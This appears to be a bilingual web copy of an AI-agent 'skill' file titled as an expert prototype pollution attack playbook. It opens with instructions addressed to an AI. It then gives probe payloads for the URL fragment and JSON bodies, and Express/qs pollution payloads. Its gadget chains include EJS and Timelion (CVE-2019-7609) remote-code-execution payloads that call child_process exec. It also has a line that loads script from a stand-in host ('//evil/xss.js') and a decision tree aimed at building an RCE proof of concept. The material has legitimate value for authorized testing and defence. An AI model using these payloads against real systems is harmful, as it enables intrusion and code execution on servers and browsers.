prototype-pollution

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Prototype Pollution — Expert Attack Playbook

SKILL: Prototype Pollution — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert prototype pollution for client and server JS. Covers
__proto__
vs
constructor.prototype
, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on parser behavior and post-pollution sinks.
中文路由提示:当存在深度合并、递归 assign、
JSON.parse
Object.assign
、或 URL 查询被转成嵌套对象时,优先怀疑 PP。
AI LOAD INSTRUCTION: Expert prototype pollution for client and server JS. Covers
__proto__
vs
constructor.prototype
, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on parser behavior and post-pollution sinks.
Chinese Routing Tip: Prioritize suspicion of PP when there is deep merging, recursive assign,
Object.assign
after
JSON.parse
, or URL queries are converted into nested objects.

0. QUICK START

0. QUICK START

Client-side first probes

Client-side first probes

text
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1
在可反射到 DOM 或框架路由的场景,配合
alert(1)
/
console
观察是否全局对象属性被污染。
text
#__proto__[xxx]=alert(1)
text
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1
In scenarios that can be reflected to the DOM or framework routing, use
alert(1)
/
console
to observe whether global object properties are polluted.
text
#__proto__[xxx]=alert(1)

Server-side first probes(JSON / form)

Server-side first probes(JSON / form)

json
{"__proto__":{"polluted":true}}
json
{"constructor":{"prototype":{"polluted":true}}}
发送后检查:后续无关响应是否带上异常头/状态码/JSON 空格,或应用逻辑是否读取到
Object.prototype.polluted
(见 §3 探测表)。
json
{"__proto__":{"polluted":true}}
json
{"constructor":{"prototype":{"polluted":true}}}
Check after sending: See if subsequent unrelated responses carry abnormal headers/status codes/JSON spaces, or if application logic reads
Object.prototype.polluted
(see §3 detection table).

Quick boolean

Quick boolean

若目标使用
lodash.merge
deep-extend
hoek.applyToDefaults
、部分
qs
/
query-string
配置,提高优先级

If the target uses
lodash.merge
,
deep-extend
,
hoek.applyToDefaults
, or partial
qs
/
query-string
configurations, increase priority.

1. MECHANISM

1. MECHANISM

原型链:访问
obj.key
时,若
obj
自有属性无
key
,沿
[[Prototype]]
向上查,直至
Object.prototype
__proto__
:许多解析器把字面键
__proto__
当作「把下面属性接到原型上」的魔法键(
Object.prototype
的历史可访问属性路径)。合并
{ "__proto__": { "x": 1 } }
可能等价于
Object.prototype.x = 1
(视实现与修复版本而定)。
constructor.prototype
constructor
通常指向对象的构造函数;
constructor.prototype
即该构造器的
prototype
对象。对普通对象默认连到
Object.prototype
。路径如:
json
{"constructor":{"prototype":{"polluted":1}}}
__proto__
不一定等价(过滤、JSON 解析、Bun/Node 差异),需双线测试
攻击本质:不是「多传一个参数」,而是在未隔离的合并算法里,把可控键指向原型对象,使全局共享模板上下文获得恶意属性,后续代码「正常」读取该属性即触发 gadget。

Prototype Chain: When accessing
obj.key
, if
obj
does not have
key
as its own property, it searches up along
[[Prototype]]
until it reaches
Object.prototype
.
__proto__
: Many parsers treat the literal key
__proto__
as a magic key that "attaches the following properties to the prototype" (a historically accessible property path of
Object.prototype
). Merging
{ "__proto__": { "x": 1 } }
may be equivalent to
Object.prototype.x = 1
(depending on implementation and patched version).
constructor.prototype
:
constructor
usually points to the constructor function of the object;
constructor.prototype
is the
prototype
object of this constructor. For ordinary objects, it is connected to
Object.prototype
by default. The path is as follows:
json
{"constructor":{"prototype":{"polluted":1}}}
It is not necessarily equivalent to
__proto__
(differences in filtering, JSON parsing, Bun/Node), so dual-line testing is required.
Attack Essence: It is not "passing one more parameter", but in a non-isolated merge algorithm, pointing a controllable key to the prototype object, so that the global or shared template context obtains malicious properties, and subsequent code "normally" reads this property to trigger the gadget.

2. CLIENT-SIDE DETECTION

2. CLIENT-SIDE DETECTION

URL fragment

URL fragment

text
https://app.example/page#__proto__[admin]=1
text
https://app.example/#__proto__[xxx]=alert(1)
若路由或 analytics 把 fragment 解析进对象再合并,可能污染。
text
https://app.example/page#__proto__[admin]=1
text
https://app.example/#__proto__[xxx]=alert(1)
If the router or analytics parses the fragment into an object and merges it, pollution may occur.

constructor.prototype
path

constructor.prototype
path

text
#constructor[prototype][role]=admin
text
#constructor[prototype][role]=admin

DOM / 属性注入思路

DOM / attribute injection ideas

框架若把属性名当对象键合并:
text
__proto__[src]=//evil/xss.js
事件处理器型键(实现相关):
text
__proto__[onerror]=alert(1)
验证:新开无 fragment 的页面,在控制台检查
Object.prototype
是否残留测试键;注意扩展与 DevTools 干扰。

If the framework merges attribute names as object keys:
text
__proto__[src]=//evil/xss.js
Event handler type keys (implementation dependent):
text
__proto__[onerror]=alert(1)
Verification: Open a new page without fragment, check in the console whether
Object.prototype
has residual test keys; pay attention to interference from extensions and DevTools.

3. SERVER-SIDE DETECTION (Express / Node, black-box)

3. SERVER-SIDE DETECTION (Express / Node, black-box)

以下载荷假设 body 或 query 被 qs 或同类解析器深度解析进对象(或与
body-parser
组合)。观测全局副作用,而非仅当前接口返回值。
Payload(JSON 示意)预期可观察信号
{"__proto__":{"parameterLimit":1}}
后续请求中多参数被忽略或解析异常(
qs
风格
parameterLimit
{"__proto__":{"ignoreQueryPrefix":true}}
??foo=bar
类双问号前缀被接受或行为突变
{"__proto__":{"allowDots":true}}
?foo.bar=baz
嵌套键按点号展开生效
{"__proto__":{"json spaces":" "}}
JSON 序列化响应出现额外空格(
JSON.stringify
受污染空格设置影响)
{"__proto__":{"exposedHeaders":["foo"]}}
CORS 响应出现
foo
相关头(若框架从原型读配置)
{"__proto__":{"status":510}}
某条响应状态码变为 510 或异常码(应用从对象读
status
操作要点:先发污染请求,再发干净请求观察是否持久;连接池与 worker 生命周期会影响「是否全局可见」。

The following payloads assume that the body or query is deeply parsed into an object by qs or similar parsers (or combined with
body-parser
). Observe global side effects, not just the return value of the current interface.
Payload(JSON 示意)预期可观察信号
{"__proto__":{"parameterLimit":1}}
Multi-parameters are ignored or parsed abnormally in subsequent requests (
qs
style
parameterLimit
)
{"__proto__":{"ignoreQueryPrefix":true}}
Double question mark prefixes like
??foo=bar
are accepted or behavior changes abruptly
{"__proto__":{"allowDots":true}}
Nested keys like
?foo.bar=baz
are expanded according to dots
{"__proto__":{"json spaces":" "}}
JSON serialized responses have extra spaces (
JSON.stringify
is affected by polluted space settings)
{"__proto__":{"exposedHeaders":["foo"]}}
CORS responses have headers related to
foo
(if the framework reads configuration from the prototype)
{"__proto__":{"status":510}}
A response status code becomes 510 or other abnormal code (the application reads
status
from the object)
Operation Points: Send the pollution request first, then send a clean request to observe whether it is persistent; connection pool and worker lifecycle will affect "whether it is globally visible".

4. EXPLOITATION GADGETS

4. EXPLOITATION GADGETS

目标 / 场景载荷或模式备注
EJS
{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}
escapeFunction
等选项若被模板引擎从受污原型读取,可导向 RCE;版本与配置强相关
Timelion 表达式链(CVE-2019-7609)
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')
历史链:原型污染 + 时间线表达式执行;用于理解 表达式 + PP 组合
Node
child_process
污染
shell
argv0
env
NODE_OPTIONS
等(经合并进
exec
/
fork
选项对象)
依赖后续是否
spawn
/
fork
且从原型链读取选项
通用 constructor 路径
{"constructor":{"prototype":{"foo":"bar"}}}
绕过仅过滤
__proto__
键的弱校验
链式思维:污染 → 某依赖
obj.settings.xxx
且未
hasOwnProperty
→ RCE / SSRF / 路径穿越。

目标 / 场景载荷或模式备注
EJS
{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}
If options such as
escapeFunction
are read from the polluted prototype by the template engine, it can lead to RCE; strongly related to version and configuration
Timelion Expression Chain (CVE-2019-7609)
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')
Historical chain: Prototype pollution + timeline expression execution; used to understand the combination of expression + PP
Node
child_process
Pollute
shell
,
argv0
,
env
,
NODE_OPTIONS
, etc. (merged into
exec
/
fork
option objects)
Depends on whether
spawn
/
fork
is called later and options are read from the prototype chain
General constructor path
{"constructor":{"prototype":{"foo":"bar"}}}
Bypass weak validation that only filters the
__proto__
key
Chain Thinking: Pollution → A dependency reads
obj.settings.xxx
without
hasOwnProperty
check → RCE / SSRF / path traversal.

5. TOOLS

5. TOOLS

项目用途
yeswehack/pp-finder辅助定位 PP 易感合并点与模式
yuske/silent-spring研究与检测相关原型污染面
yuske/server-side-prototype-pollution服务端 PP 测试套件/思路
BlackFan/client-side-prototype-pollution浏览器端 PP 案例与 payload
portswigger/server-side-prototype-pollutionBurp 生态扩展/配套材料
msrkp/PPScan扫描/验证辅助
优先在授权目标上使用;自动化工具可能对状态ful 应用产生副作用。

项目用途
yeswehack/pp-finderAssist in locating PP susceptible merge points and patterns
yuske/silent-springResearch and detect related prototype pollution surfaces
yuske/server-side-prototype-pollutionServer-side PP test suite/ideas
BlackFan/client-side-prototype-pollutionBrowser-side PP cases and payloads
portswigger/server-side-prototype-pollutionBurp ecosystem extension/supporting materials
msrkp/PPScanScanning/verification assistance
Priority is given to use on authorized targets; automated tools may have side effects on stateful applications.

6. DECISION TREE

6. DECISION TREE

                    Input merged into nested object?
                    (query, JSON, GraphQL vars, YAML→JSON)
                                |
               NO --------------+-------------- YES
               |                              |
        Other vuln class                Parser allows __proto__ /
                                        constructor.prototype keys?
                                                    |
                                    NO --------------+-------------- YES
                                    |                              |
                             Check unicode /                    Confirm global effect:
                             bypass of key names               clean follow-up request
                                    |                              |
                                    +--------------+----------------+
                                                   |
                                                   v
                                    Gadget present? (template, spawn, JSON.stringify opts, CORS)
                                                   |
                              NO ------------------+------------------ YES
                              |                                         |
                       Report PP as DoS /              Build minimal RCE or
                       logic impact                   high-impact PoC
                              |                                         |
                              +---------------------+-------------------+
                                                    |
                                                    v
                              Client-side: fragment / DOM / third-party script
                              Server-side: qs/body-parser/lodash/deep-merge version audit

                    Input merged into nested object?
                    (query, JSON, GraphQL vars, YAML→JSON)
                                |
               NO --------------+-------------- YES
               |                              |
        Other vuln class                Parser allows __proto__ /
                                        constructor.prototype keys?
                                                    |
                                    NO --------------+-------------- YES
                                    |                              |
                             Check unicode /                    Confirm global effect:
                             bypass of key names               clean follow-up request
                                    |                              |
                                    +--------------+----------------+
                                                   |
                                                   v
                                    Gadget present? (template, spawn, JSON.stringify opts, CORS)
                                                   |
                              NO ------------------+------------------ YES
                              |                                         |
                       Report PP as DoS /              Build minimal RCE or
                       logic impact                   high-impact PoC
                              |                                         |
                              +---------------------+-------------------+
                                                    |
                                                    v
                              Client-side: fragment / DOM / third-party script
                              Server-side: qs/body-parser/lodash/deep-merge version audit

Related routing

Related routing

  • 输入路由与多类注入并列入口 → Injection Testing Router
  • 模板执行链(非 PP)→ SSTI
  • 不安全反序列化(非 JS 原型)→ Deserialization
  • Input routing and multiple types of injection parallel entry → Injection Testing Router.
  • Template execution chain (non-PP) → SSTI.
  • Insecure deserialization (non-JS prototype) → Deserialization.",